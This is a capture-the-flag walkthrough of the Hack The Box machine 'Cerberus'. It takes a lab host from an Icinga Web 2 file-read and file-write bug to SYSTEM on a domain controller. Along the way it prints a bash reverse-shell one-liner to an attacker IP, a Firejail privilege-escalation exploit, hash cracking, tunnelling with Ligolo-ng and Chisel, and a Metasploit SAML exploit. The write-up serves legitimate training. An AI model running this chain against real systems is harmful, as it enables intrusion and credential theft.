Join The Best Hacking Community Worldwide | Hack The Box
Over half a million platform members exhange ideas and methodologies. Be one of us and help the community grow even further!
www.hackthebox.com
Nmap
We begin with a full TCP port sweep, then a targeted service/version scan of whatever is open:
Key find: 8080/tcp serving Apache 2.4.52 and a redirect to:
icinga.cerberus.local cerberus.localAdd hostnames so the vhost resolves properly:
# /etc/hosts
10.129.232.100 icinga.cerberus.local cerberus.localDNS
Using the target as a DNS server sometimes leaks useful internal names:
└─$ dig +short @10.129.232.100 cerberus.local
10.129.232.100
172.16.22.1Apps often trust their own DNS and reveal internal names (e.g., dc.cerberus.local) which become useful for later pivoting.
Web App - LFI
Browse to:
http://icinga.cerberus.local:8080/icingaweb2Icinga Web 2 is known to have LFI paths under its bundled third-party libs. Try reading OS files via a fixed web path that maps to / on disk:
Icinga documentation which shows some interesting configuration files.
We get database credentials for the Icinga Web 2 backend and a named user (e.g., matthew / IcingaWebPassword2023). Log in via the web UI to confirm admin rights and the exact Icinga Web 2 version.
To make LFI easier, write a Python script to give us a pseudo shell.
#!/usr/bin/python3
import requests
import os
while True:
file = input("file: ")
url = f"http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty{file}"
r = requests.get(url)
print(r.text)We login as matthew and confirm that the version of Icinga is 2.9.2
We can take note that we are part of the Administrators group within Icinga.
Foothold
The disclosure points out that the User field isn’t properly sanitised when setting up an SSH Resource module. By adding ../ at the start of the path in this field, we can break out of the intended directory and write files elsewhere on the system. We can confirm this behaviour using a local file inclusion (LFI). Let’s give it a try:
http://icinga.cerberus.local:8080/icingaweb2/config/resource#!icingaweb2/config/createresourceTo set this up, we head through the menu path: Configuration → Application → Resource → Create a New Resource, and then choose SSH Identity as the Resource Type.
Icinga requires a valid private key to create the resource. If the data we provide isn’t in the expected format, it returns the error: “The given SSH key is invalid.”
At first glance, you might assume that generating a key with ssh-keygen would be enough. However, Icinga specifically expects an RSA private key created with OpenSSL, not the default format from ssh-keygen.
So, we’ll generate the correct key using OpenSSL, upload it to Icinga, and then confirm its placement using the LFI.
openssl genrsa -out private-key.pem 1024We’ve confirmed that arbitrary file writes on the target are possible. Normally, from here you could continue with the steps in the SonarSource article to exploit the NULL byte bug. However, this approach won’t work in our case, as the target system’s OpenSSL library appears to have already been patched against it.
Before moving on, let’s take a closer look at what the NULL byte bug actually involves.
A quick Google search for OpenSSL null byte bug brings up this bug tracker entry, which explains the issue as follows:
It looks like this is assuming a valid cert can not be a valid PHP file, but I am not sure why exactly not? The standard https://datatracker.ietf.org/doc/html/rfc7468#section-5.2 allows arbitrary text before BEGIN and after END lines, and you can easily insert PHP code there. Assuming that if the text is a valid certificate for OpenSSL then it's safe for all other purposes is just not secure. To test this, we’ll place a small PHP payload at the beginning of the RSA key and then submit it to the same endpoint as before. This time, we’ll save the resulting file to /dev/shm/test1.txt.
Using the LFI to read back our written file confirms that the process worked as expected. The next challenge is figuring out how to turn this into remote code execution on the target.
Since we already have administrator access in Icinga, one option is to create a custom Icinga module. We can write this module to the filesystem via our path traversal, then update the module path setting in Icinga to point to the location we’ve written to.
When looking at how Icinga modules are structured, the configuration.php file stands out straight away. According to the tutorial, this file contains the global configuration for a module, meaning it is loaded first when the module is initialised. That makes it an ideal place to include our payload.
We can reuse the same test directory and set the module path to /dev/shm, which we’ve already confirmed works with our prepending LFI.
# Generate a reverse shell payload
echo "sh -i >& /dev/tcp/10.10.16.141/10001 0>&1" | base64 -w 0We now need to update the User field so that it points to:
../../../../../dev/shm/training/configuration.phpStart the listener for reverse shell:
nc -lvnp 10001Next, we’ll enable our custom module so it runs automatically. To do this, we first need to adjust Icinga’s configuration.
Head to Configuration → Application → General, then update the Module Path setting to /dev/shm. Finally, click Save Changes to apply the update.
Now it’s time to enable the module we created. In our example, this is the training module, which can be found under Configuration → Modules.
Once we enable and access the module, we get a working connection.
To upgrade to a better shell, run:
python3 -c 'import pty; pty.spawn("/bin/bash")'Lateral Movement
Next, let’s check the system for SUID binaries by running:
find / -perm -u=s -type f 2>/dev/nullAs another option, we can upload and run LinPEAS to help identify possible privilege escalation paths. From the results, one binary in particular stands out /usr/bin/firejail as it isn’t a commonly recognised one.
The next step is to check which version of the tool is installed, as this can reveal whether any known exploits apply to it.
firejail --versionLet’s search online for “firejail exploit 0.9.68rc1”. This leads us to a write-up describing the vulnerability, along with a Proof of Concept (PoC).
After downloading the PoC, we simply rename the file from firejoin_py.bin to firejoin.py.
An unprivileged user in the system can fake a legit Firejail process by
providing a symlink at /run/firejail/mnt/join that points to a file that
fulfils the requirements listed in the previous section. By creating a
custom user and mount namespace the attacker can create an environment
of its own where mounting tmpfs file systems in arbitrary locations is
possible.We save the PoC as firejoin.py, upload it to the target machine, and then run it from our first shell:
chmod +x firejoin.py
./firejoin.pyIn the second shell, we take the command shown in the exploit’s output and run it to complete the process.
firejail --join=1474With that, we’ve successfully gained root access on the target.
Container Breakout
As always, we begin with some basic enumeration. Checking the running processes quickly shows that this machine is domain-joined through SSSD. Let’s dig into that further to see if it reveals any useful information.
ps aux | grep rootInside the /var/lib/sss directory, we notice that the db folder holds a number of cache files. These files act as a domain cache database and may contain information about user credentials.
We can inspect one of these files using the strings command, and then filter out the repeated entries to see if anything useful can be uncovered.
strings cache_cerberus.local.ldb | sort -u | headStraight away we uncover a hash, and further inspection of the file points to the user being matthew.
The next step is to try and crack this hash:
hashcat -a 0 -m 1800 hash /usr/share/wordlists/rockyou.txt$6$6LP9gyiXJCovapcy$0qmZTTjp9f2A0e7n4xk0L6ZoeKhhaCNm0VGJnX/Mu608QkliMpIy1FwKZlyUJAZU3FZ3.GQ.4N6bb9pxE3t3T0:147258369Before we can make use of these credentials, we’ll need to configure proper routing.
To do this, we’ll set up the routes using Ligolo-ng.
The first step is to start the Ligolo-ng server, which will act as the listener for our agent connections.
Next, we upload the Ligolo-ng agent to the target machine and use it to establish a connection back to our Ligolo server.
root@icinga:/tmp# ./agent -connect 10.10.16.141:11601 -ignore-cert
./agent -connect 10.10.16.141:11601 -ignore-cert
WARN[0000] warning, certificate validation disabled
INFO[0000] Connection established addr="10.10.16.141:11601"Once the server receives the incoming connection from the agent, we can go ahead and start the tunnel.
INFO[0282] Agent joined. id=00155d5fe801 name=root@icinga remote="10.129.235.113:49860"
ligolo-ng »
ligolo-ng » session
? Specify a session : 1 - root@icinga - 10.129.235.113:49860 - 00155d5fe801
[Agent : root@icinga] » start
INFO[0290] Starting tunnel to root@icinga (00155d5fe801) We can quickly scan the 172.16.22.0/24 network and notice that WinRM is open on the domain controller.
└─$ nxc winrm 172.16.22.0/24
WINRM 172.16.22.1 5985 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:cerberus.local)Using Matthew’s credentials in a password spray against the domain controller gives us a successful login.
└─$ nxc winrm 172.16.22.1 -u matthew -p 147258369
WINRM 172.16.22.1 5985 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:cerberus.local)
WINRM 172.16.22.1 5985 DC [+] cerberus.local\matthew:147258369 (Pwn3d!)With valid credentials in hand, we can now use Evil-WinRM to establish access to the target system.
evil-winrm -i 172.16.22.1 -u matthew -p 147258369The user flag is located at:
C:\Users\matthew\DesktopPrivilege Escalation
By checking the listening ports on this target, we can see a few that suggest there are additional services running on the machine.
netstat -ano | select-string LIST<SNIP>
TCP 0.0.0.0:8888 0.0.0.0:0 LISTENING 5400
TCP 0.0.0.0:9251 0.0.0.0:0 LISTENING 5400
TCP 0.0.0.0:9389 0.0.0.0:0 LISTENING 3116
<SNIP>Looking up the process IDs tied to these listening ports reveals that they’re being run by Java.
get-process -pid 5400
get-process -pid 3116A quick Google search shows that port 9251 is linked to ADSelfService Plus, an Active Directory management tool developed by ManageEngine.
To access this service, we’ll set up a new SOCKS proxy and then update our /etc/hosts file so that dc.cerberus.local resolves to 127.0.0.1. We can achieve this by using Chisel.
Let’s set up a new SOCS proxy and modify our /etc/hosts file to point dc.cerberus.local to 127.0.0.1 so we can access it. We can use chisel for this.
<SNIP>
10.129.232.100 icinga.cerberus.local cerberus.local
127.0.0.1 dc.cerberus.localWe start by running Chisel in server mode on our Kali machine. We’ll configure it to listen on port 6666, and use the --socks5 flag to enable a SOCKS proxy. We also add the --reverse flag so that traffic is reverse-forwarded back through the server.
┌──(kali㉿kali)-[~/Tools]
└─$ ./chisel server --socks5 -p 6666 --reverse
2025/09/01 12:00:45 server: Reverse tunnelling enabled
2025/09/01 12:00:45 server: Fingerprint rUKf0AenU4R9IilX8SM85jkK6JxDZfl/1xsESr4HhX0=
2025/09/01 12:00:45 server: Listening on http://0.0.0.0:6666Next, we upload chisel.exe to the target machine and run it in client mode. We configure it to connect back to our server on port 6666, and use the argument R:8888:socks. This sets up port 8888 on the Chisel server, reverse-forwards the traffic, and designates that port for use as our SOCKS proxy.
*Evil-WinRM* PS C:\Users\matthew\Documents> iwr -uri http://10.10.16.141:8000/chisel.exe -Outfile chisel.exe
*Evil-WinRM* PS C:\Users\matthew\Documents> start-process -filepath .\chisel.exe -args "client 10.10.16.141:6666 R:8888:socks"On the Chisel server, we can now see that the tunnel has been successfully established.
└─$ ./chisel server --socks5 -p 6666 --reverse
2025/09/01 12:00:45 server: Reverse tunnelling enabled
2025/09/01 12:00:45 server: Fingerprint rUKf0AenU4R9IilX8SM85jkK6JxDZfl/1xsESr4HhX0=
2025/09/01 12:00:45 server: Listening on http://0.0.0.0:6666
2025/09/01 12:10:47 server: session#1: tun: proxy#R:127.0.0.1:8888=>socks: ListeningNext, we update our Proxychains configuration so that it points to the new proxy endpoint we just set up.
sudo nano /etc/proxychains.conf[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 8888With FoxyProxy in our browser, we configure it to use the new SOCKS5 proxy at 127.0.0.1:8888. Once that’s in place, we can browse to:
https://dc.cerberus.local:9251We can observe that the site performs several redirects, eventually landing on a URL that suggests SAML (Security Assertion Markup Language) authentication is being used in combination with ADFS.
If we take the SAMLRequest and run it through a URL decoder (for example, using urldecoder.org or the Burp Suite Decoder), we can then feed the result into a SAML decoder such as the one on samltool.com. This produces the underlying XML.
The full XML is:
The decoded output reveals details about the SAML assertion, along with a GUID value:
67a8d101690402dc6a6744b8fc8a7ca1acf88b2fA quick Google search for adselfservice plus saml exploit brings us to a Rapid7 write-up. This details a vulnerability and provides a ready-made Metasploit module for it.
Let’s go ahead and make use of this module in Metasploit.
The module requires both a GUID and an ISSUER_URL. We already have the GUID, but we’re still missing the Issuer URL, so we’ll need to continue our enumeration to uncover it.
ISSUER URL
A quick Google search for ADFS issuer URL gives us an idea of what the format should look like.
We can also check the directory:
C:\Program Files (x86)\ManageEngine\ADSelfService Plus\backup*Evil-WinRM* PS C:\Program Files (x86)\ManageEngine\ADSelfService Plus\Backup> ls
Directory: C:\Program Files (x86)\ManageEngine\ADSelfService Plus\Backup
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/16/2025 10:14 PM 636500 250516-221358.ezip
-a---- 2/15/2023 7:16 AM 320225 OfflineBackup_20230214064809.ezipWe can grab the backup file using Evil-WinRM’s download feature and then try to extract it with 7-Zip. However, the extraction fails because the archive is password protected.
*Evil-WinRM* PS C:\Program Files (x86)\ManageEngine\ADSelfService Plus\Backup> download OfflineBackup_20230214064809.ezip
Info: Downloading C:\Program Files (x86)\ManageEngine\ADSelfService Plus\Backup\OfflineBackup_20230214064809.ezip to OfflineBackup_20230214064809.ezip
Info: Download successful!A quick Google search for “adselfservice backup zip default password” shows that the default password is simply the filename written in reverse.
We can reverse the filename string with a simple Python one-liner:
└─$ python -c 'print("OfflineBackup_20230214064809"[::-1])'
90846041203202_pukcaBenilffOThe password works, and we’re able to extract the archive, revealing a total of 979 files.
We can now run a quick grep search through the extracted files to locate the issuer_url.
└─$ grep -i issuer_url *
ADSIAMIDPAuthConfigParams.txt:1 ISSUER_URL http://dc.cerberus.local/adfs/services/trustWith all the required details gathered, we can now configure the Metasploit module and give it a run.
The exploit spawns a shell running as NT AUTHORITY\SYSTEM. From here, the root flag can be found at:
C:\Users\Administrator\DesktopReferences
- HTB Official Walkthrough for Cerberus
- https://0xdf.gitlab.io/2023/07/29/htb-cerberus.html